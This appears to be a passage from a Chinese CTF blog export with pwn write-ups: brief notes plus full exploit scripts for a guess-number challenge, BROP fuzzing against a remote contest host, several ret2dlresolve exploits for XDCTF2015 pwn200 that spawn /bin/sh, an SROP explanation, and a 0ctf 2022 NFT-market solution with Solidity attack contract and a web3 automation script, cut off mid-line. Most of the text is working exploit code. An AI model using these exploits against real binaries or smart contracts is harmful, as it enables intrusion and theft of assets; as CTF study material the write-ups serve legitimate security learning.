raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()payload = b'a'*0x20payload += p64(0)sla(b'Your name:', payload)libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')libc.srand(0)for i in range(0,10): number = libc.rand() % 6 + 1 sla(b'Please input your guess number:', str(number))pi() BROPXMan 2017 BaaaEXP 盲打栈溢出 1234567891011121314151617181920212223242526272829from pwn import *context.log_level = TrueGOD_addr = 0x40060ddef send_fuzz(p, num, type): payload = b'a'*num if type == 1: payload += p32(GOD_addr) if type == 2: payload += p64(GOD_addr) p.sendlineafter(b'>', payload)for i in range (0x100): for j in range(1, 3): p = remote('61.147.171.104', 50025) try: send_fuzz(p, i+1, j) r = p.recv() p.interactive() break except: p.close()'''p = remote('61.147.171.104', 50025)p.sendline("A"*72 + "\x0D\x06\x40\x00\x00\x00\x00\x00")p.interactive()''' ret2dlresolve 2015-XDCTF-pwn200 no-relro 直接修改 .dynamic 修改 .dynamic 节中字符串表的地址为伪造的地址 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串 在特定的位置读取 /bin/sh 字符串 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数 EXP1 自己构造 payload ,不使用其他模块 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105from pwn import *local = 1pc='./main_no_relro_32'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')elf = ELF('./main_no_relro_32')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def dbg(b=""): gdb.attach(p, b) #raw_input()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))#dbg()ru(b'Welcome to XDCTF2015~!\n')read_plt = elf.plt['read']relro_read = 0x8048376lg('read_plt', read_plt)bss_base = elf.bss(0)lg('bss_addr', bss_base)dynstr = elf.get_section_by_name('.dynstr').data()dynstr = dynstr.replace(b'read', b'system')dynstr_addr = 0x8049804lg('dynstr_addr', dynstr_addr)# 0x08048629 : pop esi ; pop edi ; pop ebp ; retppp_ret = 0x08048629#ppp_ret = 0x0804834apayload = b'a'*108payload += b'b'*4payload += p32(read_plt)payload += p32(ppp_ret)payload += p32(0)payload += p32(dynstr_addr+4)payload += p32(4)payload += p32(read_plt)payload += p32(ppp_ret)payload += p32(0)payload += p32(bss_base)payload += p32(len(dynstr))payload += p32(read_plt)payload += p32(ppp_ret)payload += p32(0)payload += p32(bss_base+0x100)payload += p32(len("/bin/sh"))payload += p32(relro_read)payload += p32(0xdeadbeef)payload += p32(bss_base+0x100)payload += b'a'*(256-len(payload))sn(payload)#pause()sn(p32(bss_base))#pause()sn(dynstr)#pause()sn(b"/bin/sh\x00")#pause()pi() EXP2 使用 ROP 模块 12345678910111213141516171819202122232425262728from pwn import *# context.log_level="debug"context.terminal = ["tmux","splitw","-h"]context.arch="i386"p = process("./main_no_relro_32")rop = ROP("./main_no_relro_32")elf = ELF("./main_no_relro_32")p.recvuntil('Welcome to XDCTF2015~!\n')offset = 112rop.raw(offset*'a')rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific locationdynstr = elf.get_section_by_name('.dynstr').data()dynstr = dynstr.replace("read","system")rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr sectionrop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00rop.raw(0x08048376) # the second instruction of [email protected](0xdeadbeef)rop.raw(0x080498E0+0x100)# print(rop.dump())assert(len(rop.chain())<=256)rop.raw("a"*(256-len(rop.chain())))p.send(rop.chain())p.send(p32(0x080498E0))p.send(dynstr)p.send("/bin/sh\x00")p.interactive() 2015-XDCTF-pwn200 partial-relro .dynamic 节只读,不能修改 .dynamic ,可以通过伪造重定位表项的方式来调用目标函数 一步一步手工伪造 EXP1123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128from pwn import *local = 1pc='./main_partial_relro_32'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]elf = ELF('./main_partial_relro_32')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def dbg(b=""): gdb.attach(p, b) #raw_input()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))# ROPgadget --binary ./main_partial_relro_32 --only 'leave|ret'# 0x08048465 : leave ; retleave_ret = 0x08048465'''ndx_addr = 0x80487a8 != 0 need to adjustpwndbg> x /20wx 0x80487a80x80487a8: 0x300e442c 0x47200e4d 0xc341140e 0xc641100e0x80487b8: 0xc7410c0e 0xc541080e 0x0000040e 0x000000100x80487c8: 0x00000114 0xfffffe84 0x00000002 0x000000000x80487d8: 0x00000000 0x00000000 0x00000000 0x00000000'''bss_addr = elf.bss(0x800)+int((0x80487d8-0x80487a8)/2)*0x10 # adjust ndxread_plt = elf.plt['read']lg('read_plt', read_plt)'''stack privot to bss_addresp = bss_addr'''#dbg()payload = b'a'*108payload += p32(bss_addr)payload += p32(read_plt)payload += p32(leave_ret)payload += p32(0)payload += p32(bss_addr)payload += p32(0x100)ru(b'Welcome to XDCTF2015~!\n')sl(payload)#pause()plt0 = elf.get_section_by_name('.plt').header.sh_addrrel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addrdynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addrdynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addrlg('plt0', plt0)lg('rel_plt_addr', rel_plt_addr)lg('dynsym_addr', dynsym_addr)lg('dynstr_addr', dynstr_addr)fake_rel_plt_addr = bss_addr + 20fake_dynsym_addr = fake_rel_plt_addr + 0x8align = 0x10 - ((fake_dynsym_addr - dynsym_addr) & 0xf) # since the size of Elf32_Symbol is 0x10fake_dynsym_addr = fake_dynsym_addr + alignfake_dynstr_addr = fake_dynsym_addr + 0x10lg('fake_rel_plt_addr', fake_rel_plt_addr)lg('fake_dynsym_addr', fake_dynsym_addr)lg('fake_dynstr_addr', fake_dynstr_addr)fake_index = fake_rel_plt_addr - rel_plt_addr # calculate the dynsym index of writelg('fake_index', fake_index)r_info = (int((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7lg('r_info', r_info)fake_rel_plt = p32(elf.got['write']) + p32(r_info)st_name = fake_dynsym_addr + 0x10 - dynstr_addr # plus 10 since the size of Elf32_Sym is 16.lg('st_name', st_name)fake_dynsym = b'a'*align + p32(st_name) + p32(0) + p32(0) + p32(0x12000000)fake_dynstr = b"system" + b"\x00" + b"\x00"fake_dynstr += b"/bin/sh" + b"\x00"binsh_addr = fake_dynstr_addr + 0x8index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 0x10)lg('index_dynsym', index_dynsym)gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addrlg('gnu_version_addr', gnu_version_addr)lg("ndx_addr", gnu_version_addr+index_dynsym*2)payload = p32(0)payload += p32(plt0)payload += p32(fake_index)payload += p32(0xdeadbeef)payload += p32(binsh_addr)payload += fake_rel_pltpayload += fake_dynsympayload += fake_dynstrsn(payload)pi() EXP2 使用 roputil 12345678910111213141516171819202122232425from roputils import *from pwn import processfrom pwn import gdbfrom pwn import contextr = process('./main')context.log_level = 'debug'r.recv()rop = ROP('./main')offset = 112bss_base = rop.section('.bss')buf = rop.fill(offset)buf += rop.call('read', 0, bss_base, 100)## used to call dl_runtimeresolve()buf += rop.dl_resolve_call(bss_base + 20, bss_base)r.send(buf)buf = rop.string('/bin/sh')buf += rop.fill(20, buf)## used to make faking data, such relocation, Symbol, Strbuf += rop.dl_resolve_data(bss_base + 20, 'system')buf += rop.fill(100, buf)r.send(buf)r.interactive() EXP3 使用 pwntools 的 Ret2dlresolvePayload 模块 1234567891011121314from pwn import *context.binary = elf = ELF("./main_partial_relro_32")rop = ROP(context.binary)dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])# pwntools will help us choose a proper addr# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237rop.read(0,dlresolve.data_addr)rop.ret2dlresolve(dlresolve)raw_rop = rop.chain()io = process("./main_partial_relro_32")io.recvuntil(b"Welcome to XDCTF2015~!\n")payload = flat({112:raw_rop,256:dlresolve.payload})io.sendline(payload)io.interactive() SROP论文例子学习 https://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf 首先利用栈溢出漏洞,将返回地址覆盖为一个指向 sigreturn gadget 的指针。如果只有 syscall ,则将 RAX 设置为 0xf,效果是一样的。在栈上覆盖上 fake frame。其中: RSP: 一个可写的内存地址 RIP: syscall;retn 的地址 RAX: read 的系统调用号 RDI: 文件描述符,即从哪儿读入 RSI: 可写内存的地址,即写入到哪儿 RDX: 读入的字节数,这里是 306 sigreturn gadget 执行完之后,因为设置了 RIP,所以会再次执行 syscall;retn gadget。payload 的第二部分就是通过这里读入文件描述符的。这一部分包含 3 个 syscall;retn、fake frame和其他的代码或数据 接收完数据后,read 函数返回,返回值即读入的字节数被放到 rax 中。我们的可写内存被这些数据所覆盖,并且 RSP 指向了它的开头。然后 syscall;retn 被执行,由于 RAX=306,即 syncfs 的系统调用号,该调用总是返回 0,而 0 又是 read 的调用号 再次执行 syscall;retn,即 read 系统调用。这一次,读入的内容不重要,重要的是数量,让它等于 15,即 sigreturn 的调用号 执行第三个 syscall;retn,即 sigreturn 系统调用。从第二个 fake frame 中恢复寄存器,这里是 execve("/bin/sh",...)。另外还可以调用 mprotect 将某段数据变为可执行的。 执行 execve,拿到 shell。]]></content>
<categories>
<category>pwn</category>
</categories>
<tags>
<tag>pwn</tag>
</tags>
</entry>
<entry>
<title><![CDATA[0ctf 2022 nft market]]></title>
<url>%2F2022%2F0ctf2022%2F</url>
<content type="text"><![CDATA[前言 0ctf 2022 nft 题目,失败的复盘,赛中调试出来了进入 verifyCoupon 后 orderid 会变成 0,但没有继续调试后面的 orderid,233333,赛后才知道了是 solidity 8.16 版本之前的 bug 主要漏洞原理参考 https://blog.soliditylang.org/2022/08/08/calldata-tuple-reencoding-head-overflow-bug/ 具体就不分析了,别的师傅已经写的很好了,这里就只放出自己的 exp 参考 https://s3cunda.github.io/2022/09/19/0ctf-2022-NFT-Market.html Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198pragma solidity 0.8.15;import "@openzeppelin/contracts/token/ERC721/ERC721.sol";import "@openzeppelin/contracts/token/ERC20/ERC20.sol";import "@openzeppelin/contracts/access/Ownable.sol";contract TctfNFT is ERC721, Ownable { constructor() ERC721("TctfNFT", "TNFT") { _setApprovalForAll(address(this), msg.sender, true); } function mint(address to, uint256 tokenId) external onlyOwner { _mint(to, tokenId); }}contract TctfToken is ERC20 { bool airdropped; constructor() ERC20("TctfToken", "TTK") { _mint(address(this), 100000000000); _mint(msg.sender, 1337); } function airdrop() external { require(!airdropped, "Already airdropped"); airdropped = true; _mint(msg.sender, 5); }}struct Order { address nftAddress; uint256 tokenId; uint256 price;}struct Coupon { uint256 orderId; uint256 newprice; address issuer; address user; bytes reason;}struct Signature { uint8 v; bytes32[2] rs;}struct SignedCoupon { Coupon coupon; Signature signature;}contract TctfMarket { event SendFlag(); event NFTListed( address indexed seller, address indexed nftAddress, uint256 indexed tokenId, uint256 price ); event NFTCanceled( address indexed seller, address indexed nftAddress, uint256 indexed tokenId ); event NFTBought( address indexed buyer, address indexed nftAddress, uint256 indexed tokenId, uint256 price ); bool tested; TctfNFT public tctfNFT; TctfToken public tctfToken; CouponVerifierBeta public verifier; Order[] orders; constructor() { tctfToken = new TctfToken(); tctfToken.approve(address(this), type(uint256).max); tctfNFT = new TctfNFT(); tctfNFT.mint(address(tctfNFT), 1); tctfNFT.mint(address(this), 2); tctfNFT.mint(address(this), 3); verifier = new CouponVerifierBeta(); orders.push(Order(address(tctfNFT), 1, 1)); orders.push(Order(address(tctfNFT), 2, 1337)); orders.push(Order(address(tctfNFT), 3, 13333333337)); } function getOrder(uint256 orderId) public view returns (Order memory order) { require(orderId < orders.length, "Invalid orderId"); order = orders[orderId]; } function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) { require(price > 0, "Invalid price"); require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner"); orders.push(Order(nftAddress, tokenId, price)); emit NFTListed(msg.sender, nftAddress, tokenId, price); return orders.length - 1; } function cancelOrder(uint256 orderId) external { Order memory order = getOrder(orderId); require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner"); _deleteOrder(orderId); emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId); } function purchaseOrder(uint256 orderId) external { Order memory order = getOrder(orderId); _deleteOrder(orderId); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); tctfToken.transferFrom(msg.sender, owner, order.price); nft.safeTransferFrom(owner, msg.sender, order.tokenId); emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price); } function purchaseWithCoupon(SignedCoupon calldata scoupon) external { Coupon memory coupon = scoupon.coupon; require(coupon.user == msg.sender, "Invalid user"); require(coupon.newprice > 0, "Invalid price"); verifier.verifyCoupon(scoupon); Order memory order = getOrder(coupon.orderId); _deleteOrder(coupon.orderId); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); tctfToken.transferFrom(coupon.user, owner, coupon.newprice); nft.safeTransferFrom(owner, coupon.user, order.tokenId); emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice); } function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external { require(!tested, "Tested"); tested = true; IERC721 nft = IERC721(nftAddress); uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price); nft.approve(address(this), tokenId); TctfMarket(this).purchaseOrder(orderId); } function win() external { require(tctfNFT.ownerOf(1) == msg.sender && tctfNFT.ownerOf(2) == msg.sender && tctfNFT.ownerOf(3) == msg.sender); emit SendFlag(); } function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) { IERC721 nft = IERC721(nftAddress); address owner = nft.ownerOf(tokenId); return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender); } function _deleteOrder(uint256 orderId) internal { orders[orderId] = orders[orders.length - 1]; orders.pop(); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { return this.onERC721Received.selector; }}contract CouponVerifierBeta { TctfMarket market; bool tested; constructor() { market = TctfMarket(msg.sender); } function verifyCoupon(SignedCoupon calldata scoupon) public { require(!tested, "Tested"); tested = true; Coupon memory coupon = scoupon.coupon; Signature memory sig = scoupon.signature; Order memory order = market.getOrder(coupon.orderId); bytes memory serialized = abi.encode( "I, the issuer", coupon.issuer, "offer a special discount for", coupon.user, "to buy", order, "at", coupon.newprice, "because", coupon.reason ); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); require(coupon.issuer == owner, "Invalid issuer"); require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature"); }} EXP attack.sol 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286pragma solidity 0.8.15;import "./openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";import "./openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";import "./openzeppelin-contracts/contracts/access/Ownable.sol";contract TctfNFT is ERC721, Ownable { constructor() ERC721("TctfNFT", "TNFT") { _setApprovalForAll(address(this), msg.sender, true); } function mint(address to, uint256 tokenId) external onlyOwner { _mint(to, tokenId); }}contract TctfToken is ERC20 { bool airdropped; constructor() ERC20("TctfToken", "TTK") { _mint(address(this), 100000000000); _mint(msg.sender, 1337); } function airdrop() external { require(!airdropped, "Already airdropped"); airdropped = true; _mint(msg.sender, 5); }}struct Order { address nftAddress; uint256 tokenId; uint256 price;}struct Coupon { uint256 orderId; uint256 newprice; address issuer; address user; bytes reason;}struct Signature { uint8 v; bytes32[2] rs;}struct SignedCoupon { Coupon coupon; Signature signature;}contract TctfMarket { event SendFlag(); event NFTListed( address indexed seller, address indexed nftAddress, uint256 indexed tokenId, uint256 price ); event NFTCanceled( address indexed seller, address indexed nftAddress, uint256 indexed tokenId ); event NFTBought( address indexed buyer, address indexed nftAddress, uint256 indexed tokenId, uint256 price ); bool tested; TctfNFT public tctfNFT; TctfToken public tctfToken; CouponVerifierBeta public verifier; Order[] orders; constructor() { tctfToken = new TctfToken(); tctfToken.approve(address(this), type(uint256).max); tctfNFT = new TctfNFT(); tctfNFT.mint(address(tctfNFT), 1); tctfNFT.mint(address(this), 2); tctfNFT.mint(address(this), 3); verifier = new CouponVerifierBeta(); orders.push(Order(address(tctfNFT), 1, 1)); orders.push(Order(address(tctfNFT), 2, 1337)); orders.push(Order(address(tctfNFT), 3, 13333333337)); } function getOrder(uint256 orderId) public view returns (Order memory order) { require(orderId < orders.length, "Invalid orderId"); order = orders[orderId]; } function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) { require(price > 0, "Invalid price"); require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner"); orders.push(Order(nftAddress, tokenId, price)); emit NFTListed(msg.sender, nftAddress, tokenId, price); return orders.length - 1; } function cancelOrder(uint256 orderId) external { Order memory order = getOrder(orderId); require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner"); _deleteOrder(orderId); emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId); } function purchaseOrder(uint256 orderId) external { Order memory order = getOrder(orderId); _deleteOrder(orderId); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); tctfToken.transferFrom(msg.sender, owner, order.price); nft.safeTransferFrom(owner, msg.sender, order.tokenId); emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price); } function purchaseWithCoupon(SignedCoupon calldata scoupon) external { Coupon memory coupon = scoupon.coupon; require(coupon.user == msg.sender, "Invalid user"); require(coupon.newprice > 0, "Invalid price"); verifier.verifyCoupon(scoupon); Order memory order = getOrder(coupon.orderId); _deleteOrder(coupon.orderId); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); tctfToken.transferFrom(coupon.user, owner, coupon.newprice); nft.safeTransferFrom(owner, coupon.user, order.tokenId); emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice); } function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external { require(!tested, "Tested"); tested = true; IERC721 nft = IERC721(nftAddress); uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price); nft.approve(address(this), tokenId); TctfMarket(this).purchaseOrder(orderId); } function win() external { require(tctfNFT.ownerOf(1) == msg.sender && tctfNFT.ownerOf(2) == msg.sender && tctfNFT.ownerOf(3) == msg.sender); emit SendFlag(); } function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) { IERC721 nft = IERC721(nftAddress); address owner = nft.ownerOf(tokenId); return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender); } function _deleteOrder(uint256 orderId) internal { orders[orderId] = orders[orders.length - 1]; orders.pop(); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { return this.onERC721Received.selector; }}contract CouponVerifierBeta { TctfMarket market; bool tested; constructor() { market = TctfMarket(msg.sender); } function verifyCoupon(SignedCoupon calldata scoupon) public { require(!tested, "Tested"); tested = true; Coupon memory coupon = scoupon.coupon; Signature memory sig = scoupon.signature; Order memory order = market.getOrder(coupon.orderId); bytes memory serialized = abi.encode( "I, the issuer", coupon.issuer, "offer a special discount for", coupon.user, "to buy", order, "at", coupon.newprice, "because", coupon.reason ); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); require(coupon.issuer == owner, "Invalid issuer"); require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature"); }}contract AA { address issuer; address user; uint256 newprice; bytes reason; Order order; bytes32 public hashl; function setinit(address _issuer, address _user, uint _newprice, address _nftaddress, uint _price, uint _tokenId) public { issuer = _issuer; user = _user; newprice = _newprice; order.nftAddress = _nftaddress; order.price = _price; order.tokenId = _tokenId; bytes memory serialized = abi.encode( "I, the issuer", issuer, "offer a special discount for", user, "to buy", order, "at", newprice, "because", "" ); hashl = keccak256(serialized); }}contract Attack { TctfMarket T = TctfMarket(0x21df4c1E0F1f114A136DA168E33e9Dfbd005FA45); address account=0x80C86B253647868C927dc8442143B880203BC397; TctfNFT N= TctfNFT(address(T.tctfNFT())); TctfToken Token=TctfToken(T.tctfToken()); function approve(address a,uint b) public { } function safeTransferFrom(address a,address b,uint c) public { } function ownerOf(uint dd) public returns (address){ if(dd==2){ return address(this); }else if(dd==3){ return address(account); } } function isApprovedForAll(address a,address b) public returns (bool){ return true; } function getApproved(uint tokenId) public returns (address){ return address(this); } function attack1() public { T.purchaseTest(address(this),2,1337); Token.transfer(account,1337); } function attackfor3(uint8 v, bytes32 r, bytes32 s) public { SignedCoupon memory scoupon; N.setApprovalForAll(account,true); Token.approve(address(0x21df4c1E0F1f114A136DA168E33e9Dfbd005FA45),10); scoupon.coupon.orderId=1; scoupon.coupon.newprice=1; scoupon.coupon.issuer=address(account); scoupon.coupon.user=address(this); scoupon.coupon.reason=""; scoupon.signature.v=v; scoupon.signature.rs[0]=r; scoupon.signature.rs[1]=s; T.purchaseWithCoupon{gas:200000}(scoupon); } function attack4() public { N.setApprovalForAll(account,true); N.transferFrom(address(this),address(account),3); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { return this.onERC721Received.selector; }} python 自动化一键运行,环境为本地 ganache 测试环境 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248from web3 import Web3, HTTPProviderfrom solcx import compile_source,set_solc_version_pragma,compile_filesimport timeimport osw3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))private = "199280a1c26810629f63269567b0aa1ee11c52bdaf16cf5526d0f4f3aadb65fb"public = "0x2482119eBcDb9659397A0c1c59ed948fae80d47F"_time = 1set_solc_version_pragma('^0.8.15')chain_id = w3.eth.chain_iddef generate_tx(chainID, to, data, value): txn = { 'chainId': chainID, 'from': Web3.toChecksumAddress(public), 'to': to, 'gasPrice': w3.eth.gasPrice, 'gas': 10000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(value, 'ether'), 'data': data, } return txndef sign_and_send(txn): signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receiptdef deploy_eth(): compiled_sol = compile_files(["eth.sol"],output_values=["abi", "bin"],solc_version="0.8.15") data = compiled_sol['eth.sol:TctfMarket']['bin'] abi = compiled_sol['eth.sol:TctfMarket']['abi'] abi_TctfNFT = compiled_sol['eth.sol:TctfNFT']['abi'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) if txn_receipt['status'] == 1: TctfMarket_address = txn_receipt['contractAddress'] return TctfMarket_address,abi,abi_TctfNFT else: exit(0)def copy_attack(_TctfMarket): with open('attack_bk.sol', 'r') as f: ff = f.read() ff = ff.replace('0x21df4c1E0F1f114A136DA168E33e9Dfbd005FA45' , _TctfMarket) ff = ff.replace('0x80C86B253647868C927dc8442143B880203BC397' , public) with open('attack.sol', 'w') as g: g.write(ff)def deploy_attack(): compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.15") data = compiled_sol['attack.sol:Attack']['bin'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) if txn_receipt['status'] == 1: attack_address = txn_receipt['contractAddress'] return attack_address else: exit(0)def deploy_AA(): compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.15") data = compiled_sol['attack.sol:AA']['bin'] abi = compiled_sol['attack.sol:AA']['abi'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) if txn_receipt['status'] == 1: AA_address = txn_receipt['contractAddress'] return AA_address,abi else: exit(0)def rsv(_hash): signed_message = w3.eth.account.signHash(_hash, private) print(signed_message.messageHash.hex()) r = '0x'+signed_message.signature.hex()[2:66] s = '0x'+signed_message.signature.hex()[66:-2] v = '0x'+signed_message.signature.hex()[-2:] return r,s,vTctfMarket_address,abi,abi_TctfNFT = deploy_eth()print('TctfMarket_address =',TctfMarket_address)# TctfMarket_address = "0x1d5f96A512a946c5C2A729f8155CCBb7bbBb3f3B"contract = w3.eth.contract(abi = abi, address = TctfMarket_address)tctfNFT_address = contract.functions.tctfNFT().call()print('tctfNFT_address =',tctfNFT_address)tctfToken_address = contract.functions.tctfToken().call()print('tctfToken_address =',tctfToken_address)verifier_address = contract.functions.verifier().call()print('verifier_address =',verifier_address)TctfNFT_contract = w3.eth.contract(abi = abi_TctfNFT, address = tctfNFT_address)copy_attack(TctfMarket_address)attack_address = deploy_attack()print('attack_address =',attack_address)AA_address,abi = deploy_AA()print('AA_address =',AA_address)AA_contract = w3.eth.contract(abi = abi, address = AA_address)data = Web3.keccak(text='setinit(address,address,uint256,address,uint256,uint256)').hex()[:10]data += public[2:].rjust(64, '0')data += attack_address[2:].rjust(64, '0')data += '1'.rjust(64, '0')data += attack_address[2:].rjust(64, '0')data += '1'.rjust(64, '0')data += '3'.rjust(64, '0')txn = generate_tx(chain_id, Web3.toChecksumAddress(AA_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('setinit(eoa,attack_address,1,attack_address,1,3) success')else: exit(0)time.sleep(_time)hashl = AA_contract.functions.hashl().call()r,s,v = rsv(hashl)print('r =',r)print('s =',s)print('v =',v)data = Web3.keccak(text='attack1()').hex()[:10]txn = generate_tx(chain_id, Web3.toChecksumAddress(attack_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('attack1 success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='airdrop()').hex()[:10]txn = generate_tx(chain_id, Web3.toChecksumAddress(tctfToken_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('airdrop() success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='approve(address,uint256)').hex()[:10]data += TctfMarket_address[2:].rjust(64, '0')data += '2710'.rjust(64, '0')txn = generate_tx(chain_id, Web3.toChecksumAddress(tctfToken_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('approve(TctfMarket_address,10000) success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]data += attack_address[2:].rjust(64, '0')data += '2'.rjust(64, '0')txn = generate_tx(chain_id, Web3.toChecksumAddress(tctfToken_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] 